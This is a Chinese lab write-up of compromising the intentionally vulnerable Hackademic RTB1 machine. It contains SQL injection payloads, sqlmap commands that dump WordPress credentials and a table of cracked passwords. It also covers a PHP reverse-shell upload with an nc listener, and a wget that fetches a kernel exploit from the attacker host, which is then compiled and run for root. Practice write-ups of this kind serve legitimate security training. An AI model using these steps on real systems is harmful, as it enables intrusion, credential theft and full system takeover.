打靶笔记-02-vulhub-Hackademic.RTB1
打靶笔记-02-vulhub-Hackademic.RTB1
一、靶机信息
Name: Hackademic: RTB1(中等难度)
Date release: 6 Sep 2011
Author: mr.pr0n
Series: Hackademic
二、靶机启动
2.1 校验靶机文件
sha1sum Hackademic.RTB1.zip
e1d82e32d3a0353da3c35aa91716b711907ac826 Hackademic.RTB1.zip
2.2 解压导入VMware启动靶机,并配置网络
unzip Hackademic.RTB1.zip
使用VMware进行扫描或双击打开Hackademic.RTB1.vmx,我进行了一些修改,如下:

2.3 打快照,启动靶机
没啥好说的,避免搞坏打个快照省事,居然还是带图形界面的:

三、开始渗透
3.1 获取靶机IP
3.1.1 先获取一下kali的IP网卡信息
ifconfig

3.1.2 获取靶机IP
sudo arp-scan -I eth0 -l

成功获取到靶机IP为172.16.95.138
3.2 扫描靶机端口和服务
3.2.1 扫描开放端口
sudo nmap -p- 172.16.95.138

开放端口22,80
3.2.2 确定端口服务
sudo nmap -sV -p22,80 172.16.95.138

确定22端口上运行的是ssh服务,80端口上运行的是Apache httpd 2.2.15的服务,并且目标系统是Fedora
3.2.3 漏洞扫描
sudo nmap -p80 -sC 172.16.95.138
sudo nmap -p22 -sC 172.16.95.138

可以发现80端口上支持潜在的风险方法TRACE
3.3 漏洞利用
22端口目前看来没啥问题,80端口上支持一个风险方法TRACE,这个应该可以稍微利用一下,不过现在还是先去访问一下80端口,看看到底有什么。
3.3.1 访问Web服务

只是一个引导界面,跟进...

可以看到进入了网站子目录Hackademic_RTB1,一会儿没进展的话可以进行个目录扫描,这会儿先在这个页面搜集点东西,提示需要获取root权限和root目录下的key.txt,然后还发现有几个链接可以点击,点一下。。。
点击Got root?!

发现URL如下,而且页面也发生了变化
http://172.16.95.138/Hackademic_RTB1/?p=9
看到这个?p=9,瞬间就想到是否有sql注入的漏洞呢,那就测试一下吧

手动测试了一圈好像是没啥漏洞,那就回去看下一个链接,之后可以拿sqlmap日一下
http://172.16.95.138/Hackademic_RTB1/?cat=1

测试?cat=1的地方是否有sql注入

很幸运,第一次单引号测试就爆出来了,由上述报错信息,能得到这是个Worddress,而且当前数据库名:wp-categories
紧接着进行如下测试:
?cat=1 and 1=1
?cat=1 and 1=2


发现点不一样的了,确认and语句可以执行,这就好办了,可以按照常规注入进行搞一波了
?cat=1 order by 6
// 可以看到报未知行,说明当前数据库没有6个字段
?cat=1 order by 3
?cat=1 order by 5
// 最终确定当前数据库有5个字段,进行下一步联合查询



// 确定显示位置为2的位置,至于为啥要加and1=2,是因为这个后台sql语句后面有limit限制条件,这样前面查不出来,后面的就能显示出来了
?cat=1 and 1=2 union select 1,2,3,4,5
?cat=1 and 1=2 union select 1,database(),3,4,5

后面手动也可以搞很多信息出来,不过这里不为练习原理,为了效率接下来上工具日
3.3.2 sqlmap 爆破数据库
sqlmap -u 'http://172.16.95.138/Hackademic_RTB1/?cat=1*' --random-agent
sqlmap -u 'http://172.16.95.138/Hackademic_RTB1/?cat=1*' --dbms=MySQL --dbs --random-agent
sqlmap -u 'http://172.16.95.138/Hackademic_RTB1/?cat=1*' --dbms=MySQL -D wordpress --tables --random-agent
sqlmap -u 'http://172.16.95.138/Hackademic_RTB1/?cat=1*' --dbms=MySQL -D wordpress -T wp_users --columns --random-agent
sqlmap -u 'http://172.16.95.138/Hackademic_RTB1/?cat=1*' --dbms=MySQL -D wordpress -T wp_users -C user_login,user_pass --dump --random-agent





可以看到这儿进行了密码hash的爆破,有一个没有爆破出来直接找在先的数据库进行一下爆破,https://md5.gromweb.com/

最终得到登陆用户密码如下:
| user_login | user_pass |
|---|---|
| NickJames | admin |
| MaxBucky | kernel |
| GeorgeMiller | q1w2e3 |
| JasonKonnors | maxwell |
| TonyBlack | napoleon |
| JohnSmith | PUPPIES |
3.3.3 目录扫描
目前拿到登陆账号和密码了,所以自然而然的就该找登陆页面了,上dirsearch
dirsearch -u "http://172.16.95.138/" -i 200

好像没啥发现,好在还有一个之前已经发现的目录Hackademic_RTB1可以扫描一下
dirsearch -u "http://172.16.95.138/Hackademic_RTB1/" -i 200

这次拿到了登陆页面/Hackademic_RTB1/wp-login.php
3.3.4 寻找上传点,上传webshell
开始尝试登陆上述账号,最终发现GeorgeMiller用户有配置选项

那就开启文件上传功能,并允许上传php类型的文件,上传一个反弹shell的php文件


上传成功,开启监听之后,访问webshell
nc -lnvp 6666

发现权限不够,只能想办法进行提权了
3.3.5 提权
要提权,先进行本地信息搜集一波

然后在kali上搜索一下有没有可以提权的脚本
searchsploit 2.3.3 |grep "Local Privilege Escalation"

最后选定了其中一个,将其复制到网站目录
sudo cp /usr/share/exploitdb/exploits/linux_x86-64/local/15024.c /var/www/html
sudo systemctl start apache2

最后好像这个提权失败了,好像是系统没对上,寻找exp上的经验要多练习一下,最后/linux/local/15285.c 可以成功提权
# webshell 上执行
cd /tmp
wget http://172.16.95.133/15285.c
gcc -o exp 15285.c
chmod +x exp
./exp


四、总结
这次攻击路径是从sql注入漏洞入手,爆出了数据库中账户密码,并进行了hash破解,然后进行目录扫描发现后台登陆地址,寻找上传点上传反弹shell文件获得shell,最后利用linux内核进行了提权。
接下来应该将sqlmap仔细研究一下,并着重练习一下提权姿势。
打靶笔记-02-vulhub-Hackademic.RTB1的更多相关文章
- webug4.0 打靶笔记-02【完结】
webug4.0打靶笔记-02 3. 延时注入(时间盲注) 3.1 访问靶场 3.2 寻找注入点 貌似一样的注入点: ?id=1' --+ 3.3 判断输出位置 同前两关一样的位置,时间盲注应该不是这 ...
- 打靶笔记-04-vulnhub-Jangow
打靶笔记-04-vulnhub-Jangow 前面两篇名称写成了vulhub,已经更改为vulnhub;vulhub的之后再找个时间集中打一遍. 一.靶机信息 Name: Jangow: 1.0.1 ...
- 软件测试之loadrunner学习笔记-02集合点
loadrunner学习笔记-02集合点 集合点函数可以帮助我们生成有效可控的并发操作.虽然在Controller中多用户负载的Vuser是一起开始运行脚本的,但是由于计算机的串行处理机制,脚本的运行 ...
- 《30天自制操作系统》笔记(02)——导入C语言
<30天自制操作系统>笔记(02)——导入C语言 进度回顾 在上一篇,记录了计算机开机时加载IPL程序(initial program loader,一个nas汇编程序)的情况,包括IPL ...
- 《The Linux Command Line》 读书笔记02 关于命令的命令
<The Linux Command Line> 读书笔记02 关于命令的命令 命令的四种类型 type type—Indicate how a command name is inter ...
- 强化学习读书笔记 - 02 - 多臂老O虎O机问题
# 强化学习读书笔记 - 02 - 多臂老O虎O机问题 学习笔记: [Reinforcement Learning: An Introduction, Richard S. Sutton and An ...
- JS自学笔记02
JS自学笔记02 1.复习 js是一门解释性语言,遇到一行代码就执行一行代码 2.查阅mdn web文档 3.提示用户输入并接收,相比之下,alert只有提示的作用: prompt(字符串) 接收: ...
- 机器学习实战(Machine Learning in Action)学习笔记————02.k-邻近算法(KNN)
机器学习实战(Machine Learning in Action)学习笔记————02.k-邻近算法(KNN) 关键字:邻近算法(kNN: k Nearest Neighbors).python.源 ...
- CS229 笔记02
CS229 笔记02 公式推导 $ {\text {For simplicity, Let }} A, B, C \in {\Bbb {R}}^{n \times n}. $ $ {\bf {\t ...
随机推荐
- 版本控制SVN
为什么需要版本控制软件 代码的冻结 避免在重大的考核之前改动代码 每个稳定版本都在服务器保存进度,随时可以回退 需求频繁的变化不要改动稳定的代码,不要改别人写好的代码 为什么需求会变化?有时候产品自己 ...
- 如何使Label显示时,一行顶部居中,两行靠左显示----董鑫
有时我们会碰到这种情况,一个要根据内容显示一行还是两行,一行时还要靠着顶部再居中,比如下面 最左边的名称,要求是靠上的,如果按照正常的方式写的话,可能一行的话就会出现居中显示了,不会顶着头部显示. 我 ...
- 分布式消息队列RocketMQ(一)安装与启动
分布式消息队列RocketMQ 一.RocketMQ简介 RocketMQ(火箭MQ) 出自于阿里,后开源给apache成为apache的顶级开源项目之一,顶住了淘宝10年的 双11压力 是电商产品的 ...
- web虚拟主机、日志分割以及日志分析
目录 一.构建虚拟web主机 1.1 概述 1.2 支持的虚拟主机类型 1.3 部署虚拟主机步骤 1.3.1 基于域名的虚拟主机 (1)为虚拟主机提供域名解析 (2)为虚拟主机准备网页文档 (3)添加 ...
- 栈(stack)、递归(八皇后问题)、排序算法分类,时间和空间复杂度简介
一.栈的介绍: 1)栈的英文为(stack)2)栈是一个先入后出(FILO-First In Last Out)的有序列表.3)栈(stack)是限制线性表中元素的插入和删除只能在线性表的同一端进行的 ...
- java中最简单的计算执行时长的方式
日常在做一些性能测试的时候会通过执行时间来判断执行时长,java中最简单的方式如下: //开始时间 long startL= new Date().getTime(); //这里需要导入 java.u ...
- netty系列之:channel和channelGroup
目录 简介 神龙见首不见尾的channel channel和channelGroup channelGroup的基本使用 将关闭的channel自动移出 同时关闭serverChannel和accep ...
- Solution -「JSOI 2019」「洛谷 P5334」节日庆典
\(\mathscr{Description}\) Link. 给定字符串 \(S\),求 \(S\) 的每个前缀的最小表示法起始下标(若有多个,取最小的). \(|S|\le3\time ...
- Solution -「洛谷 P4320」道路相遇
\(\mathcal{Description}\) Link. 给定一个 \(n\) 个点 \(m\) 条边的连通无向图,并给出 \(q\) 个点对 \((u,v)\),询问 \(u\) 到 ...
- Solution -「CF 1060F」Shrinking Tree
\(\mathcal{Description}\) Link. 给定一棵 \(n\) 个点的树,反复随机选取一条边,合并其两端两点,新点编号在两端两点等概率选取.问每个点留到最后的概率. ...